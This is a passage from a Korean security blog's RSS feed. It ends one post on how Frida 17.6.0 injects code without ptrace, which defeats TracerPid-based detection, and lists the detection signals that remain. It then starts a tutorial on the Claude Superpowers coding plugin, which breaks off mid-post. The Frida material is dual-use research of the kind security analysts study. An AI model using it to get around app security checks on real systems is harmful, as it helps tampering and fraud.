&lt;pre class=&quot;tcl&quot;&gt;&lt;code&gt;# 기존: frida-server가 ptrace로 연결된 경우
$ cat /proc/&amp;lt;pid&amp;gt;/status | grep TracerPid
TracerPid:  12345

# 17.6.0 이후: ptrace를 사용하지 않음
$ cat /proc/&amp;lt;pid&amp;gt;/status | grep TracerPid
TracerPid:  0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;새로운 탐지 벡터&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;ptrace 기반 탐지가 무력화되었으므로, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;보안 솔루션은 다른 벡터를 탐지에 활용&lt;/span&gt;할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;abstract UNIX 소켓의 존재 여부 확인&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;메모리 영역에서 Zymbiote 페이로드 패턴 탐지&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;frida-helper.dex&lt;/code&gt;의 존재 여부&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;frida-server 프로세스 및 포트 탐지 (기존과 동일)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다만, Zymbiote 페이로드는 실행 후 즉시 원복되므로 메모리 패턴 탐지의 시간 윈도우가 매우 짧다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;7. 기존 vs 변경 비교 요약&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;table style=&quot;height: 320px;&quot; width=&quot;831&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style16&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;항목&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기존 (~ 17.5.x)&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;변경 (17.6.0 ~)&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;주입 방식&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;ptrace() + agent 주입&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;/proc/$pid/mem + Zymbiote&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Zygote 내부 진입&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;frida-agent 상주&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;외부 패칭, 실행 후 원복&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;child-gating&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;fork() 감시&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;setArgV0Native() 후킹&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;system_server&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;코드 주입 + frida-java-bridge&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;frida-helper.dex&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;페이로드 크기&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;frida-agent 전체&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;920바이트 (arm64)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;타 도구 호환&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;ptrace 점유로 충돌&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;충돌 없음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;TracerPid 탐지&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;탐지 가능&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;탐지 불가&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실패 시 영향&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Zygote 크래시 가능&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;안전 복귀&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;8. 참고 자료&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://frida.re/news/2025/01/18/frida-17-6-0-released/&quot;&gt;Frida 17.6.0 릴리즈 노트&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://erfur.dev/blog/dev/code-injection-without-ptrace&quot;&gt;erfur's blog: Code injection without ptrace&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://github.com/frida/frida/releases&quot;&gt;Frida GitHub Releases&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <category>Frida</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/314</guid>
      <comments>https://gomguk.tistory.com/314#entry314comment</comments>
      <pubDate>Fri, 20 Feb 2026 20:11:40 +0900</pubDate>
    </item>
    <item>
      <title>Claude에게 '초능력'을 부여하는 방법: Superpowers 플러그인 소개</title>
      <link>https://gomguk.tistory.com/313</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;1. 들어가며&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;AI 코딩 어시스턴트를 사용하다 보면 반복적으로 겪는 문제가 있다. 테스트 코드를 먼저 작성하라고 해도 바로 구현부터 작성한다거나, 디버깅할 때 체계 없이 이것저것 시도하다가 문제를 놓친다거나, 프로젝트가 조금만 커져도 맥락을 잃어버린다거나. 결국 &quot;AI가 좋긴 한데, 사람이 계속 감시하고 있어야 해&quot;라는 결론에 이르게 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Claude Code를 사용하면서도 비슷한 경험을 했다. 분명 코드를 잘 작성하는데, 내가 원하는 &lt;i&gt;방식&lt;/i&gt;으로 작성하지는 않았다. 매번 &quot;TDD로 해줘&quot;, &quot;테스트부터 작성해줘&quot;라고 요청해야 했고, 그마저도 잊어버리기 일쑤였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그러다 &lt;b&gt;Claude Superpowers&lt;/b&gt;라는 플러그인을 발견했다. 이 플러그인은 단순한 기능 추가가 아니라, Claude에게 &quot;개발 프로세스&quot;를 가르치는 도구였다. 마치 시니어 개발자가 주니어에게 코딩 관례와 베스트 프랙티스를 가르치듯이 말이다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2. Claude Superpowers란?&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2.1 기본 개념&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Claude Superpowers는 &lt;b&gt;스킬 기반(agentic skills) 프레임워크&lt;/b&gt;다. 핵심 아이디어는 간단하다. Markdown 형식으로 작성된 &quot;스킬&quot; 문서를 Claude가 읽고, 그 절차를 따라 개발을 수행하도록 하는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;예를 들어, &lt;code&gt;tdd.md&lt;/code&gt;라는 스킬 파일이 있다면:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;테스트를 먼저 작성한다&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;테스트가 실패하는 것을 확인한다&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;테스트를 통과할 최소한의 코드만 작성한다&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;리팩터링한다&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Claude는 이 스킬을 읽고, 이후 모든 개발 작업에서 이 순서를 강제로 따른다. 사람이 매번 &quot;TDD로 해줘&quot;라고 말하지 않아도 된다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2.2 왜 필요한가?&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;일반적인 AI 코딩 어시스턴트는 &quot;코드 생성기&quot;에 가깝다. 요청한 기능을 구현하긴 하지만, &lt;i&gt;어떻게&lt;/i&gt; 구현하는지에 대한 통제권은 제한적이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers는 이 문제를 해결한다:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;일관성&lt;/b&gt;: 프로젝트 전체에 동일한 코딩 스타일과 프로세스를 적용&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;학습&lt;/b&gt;: 한 번 스킬을 작성하면, 모든 세션에서 재사용&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;확장성&lt;/b&gt;: 새로운 스킬을 추가하거나 기존 스킬을 수정 가능&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;공유&lt;/b&gt;: 팀원들과 스킬을 공유하여 일관된 개발 문화 구축&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3. 설치 및 설정&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3.1 사전 요구사항&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Claude Code 2.0.13 이상&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기본적인 터미널 사용 지식&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Git 설치 (선택사항이지만 권장)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3.2 설치 과정&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치는 놀랍도록 간단하다. Claude Code를 실행하고 다음 명령어를 입력하면 된다:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;/plugin marketplace add obra/superpowers-marketplace
/plugin install superpowers@superpowers-marketplace&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sGA7X/dJMcahwy946/KOH1ldGEU69WMA2XJuUyi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sGA7X/dJMcahwy946/KOH1ldGEU69WMA2XJuUyi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sGA7X/dJMcahwy946/KOH1ldGEU69WMA2XJuUyi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsGA7X%2FdJMcahwy946%2FKOH1ldGEU69WMA2XJuUyi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;667&quot; height=&quot;419&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치 후 Claude Code를 재시작하면, 세션 시작 시 다음과 같은 프롬프트가 자동으로 주입된다:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;&amp;lt;&amp;lt;session-start-hook&amp;gt;&amp;gt;&amp;lt;&amp;lt;EXTREMELY_IMPORTANT&amp;gt;&amp;gt;
You have Superpowers.
**RIGHT NOW, go read**: @/Users/사용자명/.claude/plugins/cache/Superpowers/skills/getting-started/SKILL.md
&amp;lt;&amp;lt;/EXTREMELY_IMPORTANT&amp;gt;&amp;gt;&amp;lt;&amp;lt;/session-start-hook&amp;gt;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이것이 부트스트랩이다. Claude에게 &quot;너는 스킬을 가지고 있고, 그 스킬을 사용해야 한다&quot;고 가르치는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3.3 첫 실행&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;재시작 후 Claude와 대화를 시작하면, Claude는 자동으로 &lt;code&gt;getting-started&lt;/code&gt; 스킬을 읽는다. 이 스킬은 Claude에게 다음을 가르친다:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;스킬 검색 방법&lt;/b&gt;: 특정 작업을 할 때 관련 스킬이 있는지 검색하는 방법&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;스킬 사용 규칙&lt;/b&gt;: 스킬이 존재하면 &lt;i&gt;반드시&lt;/i&gt; 그 스킬을 따라야 함&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;기본 워크플로우&lt;/b&gt;: brainstorm &amp;rarr; plan &amp;rarr; implement 순서&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;4. 작동 방식&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;4.1 기본 개발 워크플로우&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers는 체계적인 개발 프로세스를 강제한다:&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Step 1: Brainstorming (브레인스토밍)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;프로젝트나 작업을 시작하면, Claude는 바로 코드를 작성하지 않는다. 대신 다음을 물어본다:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;어떤 문제를 해결하려고 하는가?&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;예상되는 제약사항은?&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;사용자 스토리는 무엇인가?&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실제로 사용해보니, 이 과정에서 내가 미처 생각하지 못한 엣지 케이스나 요구사항을 발견하는 경우가 많았다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Step 2: Planning (계획 수립)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;브레인스토밍이 끝나면 Claude는 상세한 계획을 작성한다:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;구현할 기능 목록&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;각 기능의 의존성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필요한 테스트 케이스&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;예상되는 파일 구조&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Git 저장소에서 작업 중이라면, 자동으로 &lt;code&gt;git worktree&lt;/code&gt;를 생성하여 별도의 작업 공간을 만든다. 이는 여러 작업을 병렬로 진행할 때 서로 충돌하지 않도록 해준다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Step 3: Implementation (구현)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;계획이 승인되면, Claude는 두 가지 구현 방식을 제안한다:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;방식 A&lt;/b&gt;: 전통적인 방식&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;개발자(나)가 PM 역할을 수행&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Claude가 아키텍트와 구현자 역할을 번갈아 수행&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;방식 B&lt;/b&gt;: 서브에이전트 방식 (새로운 기능!)&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Claude가 각 작업을 서브에이전트에게 할당&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;각 작업이 완료되면 자동으로 코드 리뷰 수행&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;리뷰 통과 후 다음 작업 진행&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;나는 주로 방식 B를 사용하는데, 코드 리뷰가 자동으로 이루어지는 게 큰 장점이다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;4.2 TDD 강제&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers의 가장 인상적인 기능 중 하나는 &lt;b&gt;TDD를 강제&lt;/b&gt;한다는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;전통적인 방식으로 AI에게 코드를 작성하게 하면:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;구현 코드를 먼저 작성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필요하면 테스트를 추가 (선택사항처럼 느껴짐)&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers를 사용하면:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;RED&lt;/b&gt;: 실패하는 테스트를 먼저 작성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;GREEN&lt;/b&gt;: 테스트를 통과할 최소한의 코드만 작성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;REFACTOR&lt;/b&gt;: 코드를 개선하되, 테스트는 계속 통과해야 함&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실제 예시를 보자. 간단한 Todo 앱을 만들 때:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;# 1단계: 실패하는 테스트 작성
def test_add_todo():
    todo_list = TodoList()
    todo_list.add(&quot;Buy milk&quot;)
    assert len(todo_list) == 1
    assert todo_list[0].text == &quot;Buy milk&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 테스트를 실행하면 당연히 실패한다. &lt;code&gt;TodoList&lt;/code&gt; 클래스가 없으니까.&lt;/span&gt;&lt;/p&gt;
